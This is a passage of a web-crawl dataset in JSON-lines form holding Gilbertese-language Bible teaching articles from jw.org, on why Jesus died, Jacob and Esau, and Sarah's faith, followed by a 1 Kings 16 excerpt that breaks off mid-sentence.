Maria?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/baika-riki-ni-karokoa-ana-mwakuri-ni-minita-Iesu\/ioteba-ataia-maria-bikoukou\/","date":"2018-02-25T22:25:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817437.99\/warc\/CC-MAIN-20180225205820-20180225225820-00692.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":504,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Aron rokon te bure irouia kaain te aonnaba mairoun te mwaane ae tii temanna [ae Atam] ao rokon te mate n te bure, ao e a ituia aomata ni kabane te mate ibukina bwa a bane ni bure.\"\nTera ae ko na taekinna ngkana ko titirakinaki ni kangai: \"Ko kani maiu n aki toki?\" Tao a na kaeka angia aomata bwa a tangira anne ma a iangoia bwa e aki kona n reke. Te mate bon iteran te maiu ae ti taneiai iai, ao a taku naba bwa bon tokini maiura.\nIangoia bwa aongkoa e a manga kaaibibitaki te titiraki anne nakoim ni kangai, \"Ko tauraoi ni mate?\" N aron ae nonoraki, a na kaeka angia aomata bwa a bon aki. Tera ae kaotaki n aei? N aki ongei kataaki ma kangaanga aika ti kaaitarai, ma te bwai ae ti bane n tangiria bon te maiu. E kaotaki n te Baibara bwa e karikia aomata te Atua ma te nano ni kani maiu. E boni koreaki iai ae kangai, \"E angan te aomata te kona n iangoa kanoan te tai [ke \"te maiu n aki toki,\" NW].\"\nMa a bon aki maiu n aki toki aomata. Bwa tera ae karika aei? Iai te bwai karaoia te Atua ibukini Katokana? A kaunganano kaeka aika n te Baibara ao e kabwarabwaraaki raoi iai bukini karawawataan ao maten Iesu.\nTERA AE KARIKA AEI\nNi moani mwakoroni bokin te Baibara ae Karikani Bwaai ake tenua, e taekinaki iai bwa e katea te kantaninga ibukin te maiu n aki toki te Atua nakoia ara moani karo ake Atam ma Ewa. E tuangia naba aroia ni karekea te maiu anne. Ma e kaotaki n te rongorongo aroni kabwakaia n ongeaba nakon te Atua ike a a kabuaa iai te kantaninga anne. E bon tii karakinaki te karaki anne n te aro ae rangi ni bebete ike a a waekoa iai tabemwaang n iangoia bwa te karioiango. Ma titeboo Karikani Bwaai ma Euangkerio ake a kaotaki iai bwa a koaua rongorongon rimoa ake iai. *\nTera mwini kabwakan Atam n ongeaba? E kaekaaki n te Baibara ni kangai: \"Aron rokon te bure irouia kaain te aonnaba mairoun te mwaane ae tii temanna [ae Atam] ao rokon te mate n te bure, ao e a ituia aomata ni kabane te mate ibukina bwa a bane ni bure.\" (I-Rom 5:12) E boni bure Atam man aki ongeabana nakon te Atua. Ngaia are e a kabuaa kantaningaan te maiu n aki toki ao teutana imwin teutana e a mate. Kioina ngkai kanoana ngaira, ti a ituaki n ana bure. Ao ibukin anne, ti aoraki, ti kara ao ti mate. E inanoi te kabwarabwara aei ibukini matera ma ae ti ataia ibukin rikiara. Ma iai te bwai ae karaoia te Atua ibukini katokana?\nTE BWAI AE KARAOIA TE ATUA\nEng, e a tia te Atua ni karaoi babaire ibukin te kaboomwi ke ni kaoka te bwai are e kabuaa Atam ibukia kanoana, ae kantaningaan te maiu n aki toki. E kangaa ni kakororaoa anne te Atua?\nE taekinaki ae kangai n te Baibara n I-Rom 6:23: \"Boon te bure te mate.\" Nanon aei bwa te bure e karika te mate. E bure Atam ngaia are e a mate. N aron naba anne, ti bure ao ti na anaa boon te bure ae te mate. Ma e ngae ngke akea ara bure, ma ti boni bungiaki i nanon te bure. Ngaia are e tatangira te Atua ngke e kanakoa Natina ae Iesu bwa e na kabwakaa \"boon te bure\" ibukira. E kangaa n nakoraoi aei?\nE karokoa te bure ao te mate iroura te mwaane ae kororaoi are Atam man aki ongeabana, ao e kainnanoaki te mwaane ae kororaoi ae ongeaba ni karokoa matena bwa e na kainaomataira man te rawawata anne. E kabwarabwaraaki n te Baibara ni kangai: \"N ai aroia aomata aika bati aika riki bwa taani bure n ana aki ongeaba te mwaane ae tii temanna, a na riki naba n raoiroi aomata aika bati n ana ongeaba te aomata ae tii temanna.\" (I-Rom 5:19) Bon Iesu \"te mwaane ae tii temanna\" anne. E kitana karawa, e riki bwa te mwaane ae kororaoi, * ao e mate ibukira. Ngkanne, ti a kona n raoiroi i matan te Atua ao ni karekea te kantaninga ibukin te maiu n aki toki.\nBUKINI KARAWAWATAAN AO MATEN IESU\nE aera bwa e riai ni mate Iesu ibukini kakororaoan aei? E aki kona te Atua ae Moan te Mwaaka n tii karaoa ana tua bwa a na kariaiakaki ni maiu n aki toki Atam ma kanoana? Bon iai mwaakana ni karaoa aei. Ma e na boni kamangoraki iai ana tua are e a tia n taekinna bwa boon te bure te mate. E kakawaki te tua anne bwa e aki kona ni kamaunaaki ke ni bitaki ni bon nanora. E boni kakawaki ibukin te kaetitaeka raoi.\nNgke arona bwa e kakeaa bongan te kaetitaeka ae riai n aei te Atua, tao a na iangoia aomata bwa e na karaoa naba aei n itera riki tabeua. N te katoto, e na karaoa ae eti ngkana e rineia bwa antai mai buakoni kanoan Atam ae tau ibukin te maiu n aki toki? E kona ngkanne n onimakinaki bwa e na kakakoroi bukin ana berita? Ti kakoauaa raoi bwa e na boni karaoa ae eti n taai nako te Atua ibukina bwa a boraoi ana mwakuri ma te kaetitaeka ae riai ni baireani kamaiuara.\nRinanoni maten Iesu bwa te karea, e a kauka iai te Atua te kawai nakon te maiu n aki toki n te Bwaretaiti i aon te aba. Nori ana taeka Iesu aika n Ioane 3:16: \"E rangi n tangiriia kaain te aonnaba te Atua, n te aro are e a anga Natina ae te rikitemanna, bwa e aonga n aki kamaunaaki ane onimakinna, ma e na reke irouna te maiu are aki toki.\" Ngaia are maten Iesu, bon tiaki tii kaotani kakaonimakin te Atua ni kaetitaeka n ae riai ma ae moamoa riki bon ana tangira ae korakora ibukia aomata.\nMa e aera bwa e riai ni karawawataaki ao ni mate Iesu n te aro ae rangi ni kammaraki n aron ae taekinaki n Euangkerio? Ibukini kukurein Iesu ni kaaitara ma te kataaki ae riao ao teimatoana ni kakaonimaki, e a kaota iai kairuan ana taeka te Riaboro n tii te taina ao n aki totoki are e taekinia aomata bwa a na aki teimatoa ni kakaonimaki nakon te Atua ngkana a kataaki. (Iobi 2:4, 5) E kona n taraa ni koaua te taeka anne imwini karirian Atam nakon te bure iroun Tatan. Ma e teimatoa n ongeaba Iesu are e boraoi ma kororaoin Atam, n aki ongei karawawataana aika kakaiaki. (1 I-Korinto 15:45) Ngaia are e a kaota iai koauan ae e kona naba n ongeaba Atam nakon te Atua, ngke arona bwa e motinnanoia bwa e na karaoa anne. E boni katuka te banna ni katoto nakoira Iesu ae ti na kakairi iai man arona n nanomwaaka i aani kataakina. (1 Betero 2:21) Ibukin ongeaban Iesu ae kororaoi e anganaki iai kaniwangana iroun Tamana, ae te aki mamate i karawa.\nAROM NI KAKABWAIAAKI\nE boni koaua bwa e mate Iesu. E a uki te kawai nakon te maiu n aki toki. Ko kani maiu n aki toki? E kaotii baika ti riai ni karaoi Iesu ngke e kangai: \"Ibukini karekean te maiu are aki toki, a riai n ataiko ae tii ngkoe te Atua ae koaua, ao n ataa naba teuare ko kanakomaia ae Iesu Kristo.\"\nA kaungako taani boreetia te maekatin aei bwa ko na reiakina ae bati riki ibukin Iehova ae te Atua ae koaua, ao Natina ae Iesu Kristo. A kukurei ni buokiko Ana Tia Kakoaua Iehova akana n am aono. Ko kona naba ni karekei rongorongo aika a na buokiko ngkana ko kawara ara atureti ae www.jw.org.\n^ bar. 8 Nora atun te kaongora ae \"The Historical Character of Genesis,\" n te Insight on the Scriptures,\" Volume 1, iteraniba 922, ae boreetiaki irouia Ana Tia Kakoaua Iehova.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na2-2016-maati\/e-aera-Iesu-ngke-e-mate\/","date":"2018-02-24T12:59:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00563.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1324,"character_repetition_ratio":0.063,"word_repetition_ratio":0.044,"special_characters_ratio":0.23,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon 40 ana ririki Itaaka ngke e mare ma Rebeka. E rangi n tangira neiei. Imwina riki, a a reke natiia mwaane aika bwebwee.\nTe karimoa bon Etau, ao te karimwi Iakoba. E kani memena Etau n te tawaana ao bon te tia kaeman. Ma e kan titiku Iakoba n te auti.\nN taai akanne, e riai n anganaki te mwaane ae te karimoa angiin aaba ao te mwane ngkana e mate tamana. E aranaki anne bwa te tibwanga. N ana utu Itaaka ao irian naba te tibwanga anne boni berita ake e karaoi Iehova nakon Aberaam. E bon aki tabe Etau ma berita akanne, ma e ataia Iakoba ae a rangi ni kakawaki.\nN te tai teuana, e okira te auti Etau ao e a rangi ni kua imwin ana kaeman n te bong anne. E aroka boin te amwarake ae kangkang are e kamwaia Iakoba, ao e taku: 'I a bora ni baki! Anganai teutana am tuubu ane uraura anne!' E taku Iakoba: 'N na anganiko, ma berita moa nakoiu bwa e na reke irou tibwangam.' E taku Etau: 'I aki tabe ma tibwangau! Ko kona n anaia. I tii kan amwarake.' N am iango e wanawana Etau n te baere e karaoia? E bon aki. E anganako te bwai ae rangi ni kakawaki tii ibukin te boora n tuubu.\nNgke e a rangi ni kara Itaaka, ai bon anne ana tai are e nang anga iai te kakabwaia nakon natina are te karimoa. Ma Rebeka e buoka natina are te karimwi ae Iakoba bwa e na karekea te kakabwaia anne. E rangi n un Etau ngke e a ataia, ao e baireia bwa e na tiringa tarina are bwebweena. A tangiria Itaaka ao Rebeka ni kamanoa Iakoba ngaia are a taku nakoina: 'Naako tiiku irouni mwaanen tinam ae Raban, ni karokoa ae e toki unin Etau.' E ongo Iakoba n aia taeka n reirei ana karo, ao e a birinako n rawea maiuna.\n\"Tera kabwaian te aomata, ngkana e bwaina te aonnaba ni kabane ma e kabuaa maiuna iai? Ni koauana, tera ae e na anga te aomata bwa booni mwini maiuna?\"—Mareko 8:36, 37","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/3\/te-tibwanga-iakoba-etau\/","date":"2018-02-24T13:32:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815812.83\/warc\/CC-MAIN-20180224132508-20180224152508-00513.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":354,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E TEI TARA i nukan te ruu man taratara nako. Kataamneia te aine ae kaain te Aono ni Mainiku, ma matana aika rooroo ma ni matatokatoka ake a oti iai ana namakin. Iai te nanokawaki teutana ae oti? Ngkana iai, ao e bebete bwa ko na ataia bwa bukin tera. A a maan n tiku n te auti aei. E a tia neiei ma buuna ae tangiraki irouna ae Aberaam, n tiku iai ma te kukurei i nanon te tai ae rangi ni maan. * Aei raoi mwengaia ni koaua.\nA maeka i Ura ae te kaawa ae kaubwai ao a bati iai aomata aika mwaatai n te mwakuri, taani karaobwai, ao taan iokinibwai. Ngaia are a bae ni kaubwai naakai. Ma mwengan Tara aei bon tiaki tii nnen ana bwai. Aei te tabo are e a tia ni kaai ni maeka iai ma buuna i nanon ririki aika bati, i nanon te kukurei ma te bwarannano. Aei naba te tabo are a aki toki n tataro iai nakon Atuaia ae a tangiria ae Iehova. Iai bukina ae riai bwa e na tangira te tabo aei Tara.\nMa e ngae n anne e boni kukurei naba Tara ni kitani bwaai nako ake e taneiai iai. E ngae ngke tao ai 60 ana ririki neiei, ma e nang mwananga nakon taabo ake e aki atai tabuaiakaia, e nang rinanon te maiu ae bati iai te kabuanibwai ao te kangaanga, ae akea iai kantaningaan te manga karairaki. Tera ae e karika bitakin raoi maiun neiei? Ao tera reireiara ni boong aikai man ana onimaki neiei?\n\"NAAKO MAI ABAM\"\nE taraa n ae e ikawairake Tara i Ura. Ni boong aikai ao e a riki te kaawa aei bwa te tabo ae kamaroaeaki. Ma n ana bong Tara ao a aki toki kaibuke n iokinibwai n rinanon te Karaanga ae Iuberetiti, ma uotaia baika rangi ni kakawaki mai tabon nako aonnaba nakon te kaawa ae kaubwai aei. A uanao aomata ni kawain nako Ura aika reme ma ni bwakeeke, a tenabiti kaibuke n rooaki n taian uaabu, ao a a taorake bwaai ni boobwai n taiani mwakete. Iangoa aron Tara n ikawairake n te kaawa ane rangi ni kau aomata ma n tatabetabe anne, e kinaia neiei kaaina aika bati ao e atai araia. A bae ni kinaa naba neiei ngkai bon te aine ngaia ae rianako tamaroana. Iai naba ana utu neiei ae bubura ikai.\nE kinaaki Tara n te Baibara ibukin ana onimaki ae korakora, ma e bon aki onimakina te atua ae namwakaina are taabangaki taromauriana i Ura, are e rietata ana taua n te kaawa aei. Ma e bon taromauria te Atua ae koaua ae Iehova Tara. E aki kaotaki n te Baibara bwa e kangaa n reke ana onimaki anne. Te tia taromaurii bouannanti taman neiei i nanon tabeua te tai. E mare ma Aberaam, ae te mwaane ae ikawai nakoina tebwina te ririki. * (Karikani Bwaai 17:17) E kinaaki imwina riki bwa \"tamaia taan onimaki ni kabane.\" (I-Rom 4:11) A uaia ni kanakoraoa aia tekateka ma ni kamatoaa, e oti iai te karinerine, akean te imamaakin, ao nanoia ni kan uaia ni waakinako ribuakoni kangaanga. Ma ae rianako riki, e oti n aia mare bwa a tangira Atuaia.\nE rangi n tangira buuna Tara ao a a katea mwengaia i buakoia aia koraki i Ura. Ma e aki maan ao a a rotaki naba n te bwarannano. E tuangira te Baibara bwa \"e kanoabo [Tara] bwa akea natina.\" (Karikani Bwaai 11:30) N taai akekei ao e rangi ni kauruakinano te bwai ae riki nakon Tara aei. Ma e teimatoa ni kakaonimaki Tara nakon Atuana ao buuna. E riki ai natiia are Rota are ai akea tamana bwa kaanga natiia. E a waakinako te bong ma kanoana, ao akea bwa a a tii bitaki naba bwaai ni kabane.\nE roko Aberaam nakon Tara ma kimwareireina ae bati. E aki kona ni kakoauaa te baere e a tibwa tia n riki. E a tibwa tia n taetae nakoina te Atua are a tataromauria, ao e boni kaoti naba nakoina, ma akea te nanououa bwa rinanon te anera! Iangoa Tara ngke e a katokai matana aika mataraoi i aoni buuna, ao n titiraki ma ingaingana ni kangai: \"Tera ae e taekinna nakoim? Taiaoka tuangai!\" Tao e tekateka moa Aberaam n iango, ao rimwi e a tuanga neiei ana taeka Iehova nakoina are kangai: \"Naako mai abam ao mairouia am buu ao nakomai nakon te aba ae N na kaotia nakoim.\" (Mwakuri 7:2, 3) Ngke e a moanna n toki angin te kimwareirei, ao a a iaiangoa te mwioko are e angania Iehova. A nang kitana maiuia ae nakoraoi ao ni kamwengaraoi, ao n riki bwa taani mwamwananga! E na tera ana kaeka Tara? E bae Aberaam ni katokai matana i aon neiei. E na kukurei neiei ni boutokaia n te bitaki ae rangi ni korakora aei nakoni maiuia?\nE bae ni boou iroura te aeka ni motinnano are e rinanona Tara. Ti bae n iango ni kangai: 'Kai e tuai man tutuangai te Atua ke n tuanga buu bwa ti na karaoa te aekaki anne!' Ma tiaki ti bane ni boo ma te motinnano ae aron anne? Ti maeka n te aonnaba ae taabangaki iai te mataai ni kanibwaibwai, ae ti kona ni kaungaaki iai bwa ti na moanibwaia mwengaraoira, ara bwai, ke namakinan te mano raoi. Ma e kaungaira te Baibara nakoni karaoan te aeka ni motinnano riki teuana, ae ukoukorani moa baika irekereke ma te onimaki, ao ni karimoaa kakukureian te Atua nakoni kukureira. (Mataio 6:33) N iaiangoan te baere e karaoia Tara, ti kona n titirakinira i bon iroura ni kangai: 'Tera te motinnano ae N na karaoia ni maiuu?'\nA \"NAKO MAI ABAIA\"\nNgke e a botii ana bwai Tara, ao e a tabeaianga bwa baikara baike e na uotii ao baike e na katikui. E kona n uotii baika uarereke aika kona n uouotaki irouia taongki ma kamero, ao tiaki baika aki manena n te mwamwananga. Akea te nanououa bwa a bati aia bwai aika a na kaboonakoi ke n anganako. E nang toki naba aron te maiu n te kaawa aei, n aron te nanako n taiani mwakete ke taabo ni boobwai, ike e kona iai neiei ni kabooi uita, irikomaiu, uaanikai, kunnikai, ao ai baika a kainnanoi ao ni mwengaraoi iai.\nE bae n rangi ni kangaanga iroun Tara bwa e na kitana mwengana aei. Ngkana tii te aekakina ana auti Tara ma auti nako ake a kunei taan rabakau i Ura, nanona ngkanne bwa e boni kabuaa te mwengaraoi ni koaua Tara. Tabeua mai buakon auti aikai e riaon tebwi ma uoua mwaitin ruuia, ao iai naba mwin raan iai aika tiki mani koburake n ran aika itiaki ao bwaibu n ran. E ngae naba ngkana te auti ae uarereke, ma e matoatoa taubukina, oona, ao iai bwain rokanani mataroana. A kona ni mano raoi n aron anne n taian umwanrianna, mairouia taani kimoa? Ke mairouia raian, rebwari, taiani bea, ao kameaanti, aika maan aika mwaiti n aaba ake a karakinaki n te Baibara n taai akekei?\nAo tera aron ana utu? Antai ake e nang kitania Tara? E bae ni kangaanga riki iroun Tara te baere e tua te Atua are kangai: \"Naako mai abam ao mairouia am buu.\" Bon te aine ngaia ae akoi ao ni momoaaomata, e bae n iai mwaanena ma tarina, ai natina aine ma mwaane, ai tinana ao ai tamana ake e rangi ni kaan ma ngaiia, ake e nang aki manga noriia. Ma e ngae n anne, e boni katoabong Tara ni katauraoi nakon te mwananga.\nN aki ongei kangaanga, a bon tauraoi ana bwai Tara ao n tauraoi naba ni mwananga n te bong are baireaki. E na iriia naba Aberaam ma Tara baatuan te utu ae Tera, e ngae ngke e a kaani koro 200 ana ririki. (Karikani Bwaai 11:31) E bae n rangi n tabetabe Tara ibukin tararuaan ana karo ae e a kara aei. E iriia naba Rota ngke a ongeaba iroun Iehova ao n \"nako mai abaia I-Kareria.\"—Mwakuri 7:4.\nA moana moa Aran ni mwanangaia aei, ae 600 tabun te maire (960 te kiromita) raroana nako meangimaeao, n iraanako kawain te Iuberetiti. A tiku te utu aei teutana te tai i Aran. E a bae ni mamaara Tera ngkai ao e a aki konaa te mwamwananga. A tiku ikai te utu aei ni karokoa matena ngke ai 205 ana ririki. Tabeua te tai imwaini manga reitani mwanangaia, ao e a manga taetae Iehova nakon Aberaam, n tuangnga riki bwa e na kitana te aba aei, ao e na nakon te aba ae e na kaotia nakoina. Ma n te tai aei, e a taekina te berita ae kakukurei ae kangai: \"N na karaoiko bwa te natannaomata ae korakora.\" (Karikani Bwaai 12:2-4) Ma ngke a kitana Aran ao ai 75 ana ririki Aberaam ao Tara 65, ao a tuai mani kariki. E na kangaa n otinako te natannaomata mairoun Aberaam? E na karekea buuna temanna? Kabatiaan te buu ni mare bon te waaki ae bwabwainaki n taai akekei, ngaia are e bae n tabeaianga iai Tara.\nAkea bwa a a kitana Aran ao ni mwananga nako. Ma noria bwa ai antai ngkai raoia. Ti kaongoaki n te karaki bwa a mwananga nako ana utu Aberaam ma kaubwaia ake a reke irouia, n ikotaki ma \"aomata ake a karekeia i Aran.\" (Karikani Bwaai 12:5) Antai aomata aikai? N taraana bon tooro. A boni bae n tataekina aia onimaki Aberaam ma Tara nakoia ake a kan ongora. Mangaia are a kaotaki n aia Baibara nikawai I-Iutaia tabeua bwa aomata ake a taekinaki n te kibu aei, bon te koraki naba ake a rairaki man aia Aro, ake a a manga raona Aberaam ma Tara n taromauria Iehova. E oti ngkanne bwa boni man ana onimaki ae nene Tara are e a kairiia iai aomata bwa a na kakoauai baike e taekin ibukin Atuana ma ana kantaninga. E ibuobuoki nakoira iaiangoan aei, kioina ngkai ti a maeka n te tai ae e a karako iai te onimaki ao te kantaninga. Ngkana ko reiakina te bwai ae raoiroi man te Baibara, ko kona n tibwaia nakon temanna?\n\"NAKO AIKUBITA\"\nNgke a a roko n iteran te Iuberetiti are teuana, tao n Nitian 14 n 1943 B.C.E., ao a a boo nako aiaki n rinnakoa te aba are e beritanna Iehova nakoia. (Te Otinako 12:40, 41) Kataamneia aron Tara n taratara nako, ao ni mwaninganako n tamaroan, ni kakaokoron, ao ai n nakoraoin kanoan te bong n te aba aei. E a manga kaoti riki Iehova nakon Aberaam i rarikini kaai aika bubura ake arokani More, n uakaan ma Tekem, ma n te tai aei e a kangai: \"N na anga te aba aei nakoia kanoam.\" E bae n rangi ni kakawaki nanon te taeka ae \"kanoam\" iroun Aberaam! E bae n oki iai ana ururing Aberaam nakon te onnaroka are Eten, are e taetae ni burabetinna iai Iehova, ae e na iai te kanoa ae e na kamauna Tatan n te tai teuana. E a tia Iehova n tuanga Aberaam bwa te natannaomata are e na otinako mairouna, e na uotii kakabwaia nakoia kaain te aonnaba.—Karikani Bwaai 3:15; 12:2, 3, 6, 7.\nMa tiaki nanona bwa a aikoa rorotaki te utu aei ni kangaangan te maiu. E roko te rongo n te aba ae Kanaan, ao e a iangoia Aberaam bwa e na kairiia ana utu nako maiaki ni kaea Aikubita. Ma e nora te kangaanga teuana n te aono arei, ngaia are e a taku nakon Tara: \"Taiaoka ongora irou! I ataia bwa te aine ngkoe ae ko baaraoi. Mangaia are ngkana a noriko I-Aikubita ao a na boni kangai, 'Aio buun teuaei.' Ao a na kamateai ma a na kamaiuko. Taiaoka taekinna bwa mwaaneu ngkoe, bwa n arom anne a na nakoraoi iai bwaai ni kabane ibukiu, ao N na kamaiuaki.\" (Karikani Bwaai 12:10-13) E aera ngke e tabeka te aeka ni bubutii ae kamimi aei Aberaam?\nBon tiaki te aomata ae bobokewe ke e kimamaaku Aberaam, n aron ae a taekinna taani kabuakaka tabeman. Boni mwaanena Tara ma a kaokoro tinaia. Ao e bon riai raraoman Aberaam aei. A ataia Aberaam ma Tara bwa akea riki te bwai ae kakawaki nakon ana kantaninga te Atua ae karikan te kanoa ae okoro ma te natannaomata rinanon Aberaam, ngaia are e bon rangi ni kakawaki kamanoani maiun Aberaam. E oti naba mani baika a kunei taan rabakau, bwa bon anne aroaroia mwaane aika kakannato i Aikubita bwa a ananaia aine ao n tiringia buuia. Ngaia are e boni wanawana Aberaam n te baere e karaoia, ao Tara e boutokaa ana babaire teuaei ma te nanorinano.\nE aki maan imwin anne ao e a oti naba koauan ae e bon riai maakun Aberaam. Iai tabeman ana mataniwi Barao ake a nora rianakoni baaraoin Tara i buakoia ana roro. A kaongoa Barao taekana, ao e a tua teuaei bwa e na anaaki neiei! E a bon riao rawawatan Aberaam ke maakun Tara n te tai arei. Ma n taraana, e aki kairaki neiei ao ni karikaki bwa te bure, ma e karikaki bwa te iruwa ae karineaki. E bae ni baireia Barao bwa e na ananaa nanon neiei ao ni kamataaia ni kaubwaina, ao ni maroro ma teuare aongkoa mwaanena, bwa e aonga n anaa neiei bwa buuna.—Karikani Bwaai 12:14-16.\nIangoa Tara, are e a taratara nako n taraa aon Aikubita mani kamaaman te baareti ke bwarantana mai eta. Tera ngkai ana namakin neiei, ngkai e a manga maeka n auti aika ooaki, ma te taubuki i etana, ao amwarake aika raraoi ake a kaakaki i matana? E anaaki nanona n te maiu ni kaubwai, ae tao e a riao riki nakon are e nonoria i Ura? Iangoa baneni ngaren Tatan ngke arona bwa e kaaki neiei taekan Aberaam ao n iangoa te riki bwa buun te Barao aei! Ma e aki karaoa anne Tara. E kakaonimaki ni koaua nakoni buuna, nakon ana mare, ao ai nakon Atuana. Tera ngke a kakaonimaki naba ni koaua raao ni mare aika n te aonnaba aei, ae bati iai te aroaro ae kammaira! Ko kona ni kakairi n ana kakaonimaki ni koaua Tara, n arom nakoia am utu ao raoraom?\nE ibuobuoki Iehova ni kamanoa te aine ae tatangiraki aei, ngke e orea Barao ma kaaini batana n aoraki aika kakaiaki. Ngke e a ataia Barao ae Tara boni buun Aberaam, ao e a kaoka neiei nakoni buuna, ao n tuangia kaain te utu ni kabane bwa a na kitana Aikubita. (Karikani Bwaai 12:17-20) Ai kimwareireira Aberaam ngke e a oki buuna! Uringnga are e kangai ngkoa nakon Tara ma te tatangira: \"I ataia bwa te aine ngkoe ae ko baaraoi.\" Ma e boni kakaitau n tamaroan Tara ae rianako riki, ae te tamaroa ae kakawaki riki nakoni baaraoina. Iai riki te tamaroa ni koaua ae raba iroun Tara, ae te aeka n tamaroa ae kakawaki i matan Iehova. (1 Betero 3:1-5) Anne te aeka n tamaroa ae ti bane ni kona ni karikirakea. Ngkana ti moanibwai baika irekereke ma te onimaki nakoni bwaikorakin te maiu aei, ao n tibwaa ara atatai ibukin te Atua nakoia aomata, ao ni kakaonimaki ni koaua n nimti ana kaetieti te Atua ibukin te aroaro ni maiu ae riai ngkana ti kaririaki, ti a kakairi iai n ana onimaki Tara.\n^ bar. 8 Tara boni mwaanen Aberaam. Titeboo tamaia ae Tera ma a kaokoro tinaia. (Karikani Bwaai 20:12) E ngae ngke e aki riai te aeka ni mare anne ni boong aikai, ma e kakawaki bwa ti na iaiangoi kaokoroni bwaai n taai akekei. A kaan riki aomata n taai akekei ma te kororaoi are reke iroun Atam ma Ewa, are a a manga kabuaa. Ibukina bwa e kuri ni kororaoi marurungia, te iein i marenaia koraki ni kaan a bon aki kona ni bwaibwainnanti iai kanoaia. Ngke ai 400 tabun te ririki imwina ao e a iorooro abwakin te maiu iai ma ae n ara bong aikai. N te tai anne ao e a katabuakaki ngkanne te wene n taanga i marenaia koraki ni kaan n te Tua Rinanoni Mote.—Nakoaia Ibonga 18:6.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2017-mei\/tara-baibara\/","date":"2018-02-21T09:38:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813602.12\/warc\/CC-MAIN-20180221083833-20180221103833-00745.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2662,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16 Ao e roko ana taeka Iehova iroun Ieu+ are natin Aanani+ n ekaanako Baata, ni kangai: 2 \"I kateirakeko mai buakon te tano ao I karikiko bwa te tia kairiri i aoia au aomata aika tibun Iteraera,+ ma ko bon teimatoa naba n nakonako ni kawain Ieroboam ao ni karekeia au aomata aika tibun Iteraera n te bure, n te aro are a a kaunai n aia bure.+ 3 Mangaia ae I a karaoa te kaitiaki n taeaanako Baata ma ana utu, ao N na karaoiia ana utu bwa ai aroia ana utu Ieroboam+ are natin Nebata. 4 Ana utu Baata ae e mate n te kaawa a na kanna kamea, ao ana utu ae mate n te tawaana a na kanna mannikiba ake i annang.\" 5 Ni kaineti ngkanne ma nikiran rongorongoni Baata ma te bwai are e karaoia ao ana mwakuri aika korakora, tiaki a koreaki n te boki are rongorongon aia tai uean Iteraera? 6 Ao e a wene ni motirawa Baata i rarikia ana bakatibu, ao e kaiiaki i Tireta,+ ao e a riki natina are Eera bwa te uea n onea mwina. 7 E roko naba rinanon te burabeti are Ieu are natin Aanani, ana taeka Iehova n ekaanako Baata ma ana utu, ibukini buakakana ni kabane are e karaoia i matan Iehova ngke e kaunna n ana mwakuri baina, n riki n ai aron ana utu Ieroboam, ao ibukina naba bwa e kamatea teuaei.*+ 8 N ana ka-26 n ririki n tautaeka Ata are uean Iuta, ao e a riki Eera are natini Baata bwa uean Iteraera i Tireta, ao e tautaeka i nanon uoua te ririki. 9 Ao e a bairea te karitei nakoina ana toro are Timri are te mataniwi i aon iterani mwaitin ana kaa ni buaka, ngke e mena i Tireta ni kakoroa ni manging n ana auti Arita are mataniwi i aoia kaaini batana i Tireta. 10 Ao e rin Timri ao e oreia+ ao e kamatea n ana ka-27 n ririki n tautaeka Ata are uean Iuta, ao e a riki bwa te uea n onea mwina. 11 Ngke e riki bwa te uea n te tai are e bon tekateka naba iai n ana kaintokanuea, ao e a kamateia naba ana utu Baata ni kabane. E aki kamaiua temanna naba te mwaane,* ae tao ana koraki* ke raoraona. 12 Ao Timri e kamaunaia ana utu nako Baata ni kaineti ma te taeka are e taekinna Iehova n ekaanako Baata, rinanon Ieu are te burabeti.+ 13 Aei bon ibukini buure nako ake a karaoi Baata ma natina are Eera, ao buure ake a karekeia iai tibun Iteraera n te bure ni kauna Iehova ae Atuan Iteraera n aia bouannanti aika akea manenaia.+ 14 Ni kaineti ngkanne ma nikiran rongorongon Eera, ma bwaai ni kabane ake e karaoi, tiaki a koreaki n te boki are rongorongon aia tai uean Iteraera? 15 N ana ka-27 n ririki n tautaeka Ata are uean Iuta, ao e a riki Timri bwa te uea i nanon itibong i Tireta, n te tai are a kaembwa iai kaain te taanga ni buaka n ekaanako Kibeton+ are aia kaawa I-Biritia. 16 Imwina riki ao a a ongo ae kangai kaain te taanga ni buaka ake a katei 